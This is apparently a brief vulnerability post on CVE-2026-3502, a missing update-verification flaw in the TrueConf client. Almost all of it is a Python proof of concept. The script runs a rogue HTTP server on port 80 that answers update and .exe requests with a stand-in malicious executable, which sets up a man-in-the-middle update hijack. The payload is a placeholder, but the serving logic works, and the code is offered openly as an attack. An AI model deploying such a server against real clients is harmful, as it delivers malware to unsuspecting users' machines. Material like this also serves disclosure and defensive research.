CVE-2026-3502 TrueConf客户端更新验证缺失致代码执行

# This is a conceptual PoC for a Man-in-the-Middle attack exploiting the lack of update verification. # Note: Actual exploitation requires network positioning and understanding of the TrueConf update protocol. import http.server import socketserver # Malicious payload to be served instead of the update MALICIOUS_EXE = b"MZ\x90\x00..." # Placeholder for a malicious executable class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.endswith('.exe') or 'update' in self.path: self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() # Serve the malicious payload self.wfile.write(MALICIOUS_EXE) print(f"[+] Sent malicious payload to {self.client_address}") else: self.send_response(404) self.end_headers() PORT = 80 with socketserver.TCPServer(("", PORT), MaliciousUpdateHandler) as httpd: print(f"Serving malicious update on port {PORT}") httpd.serve_forever()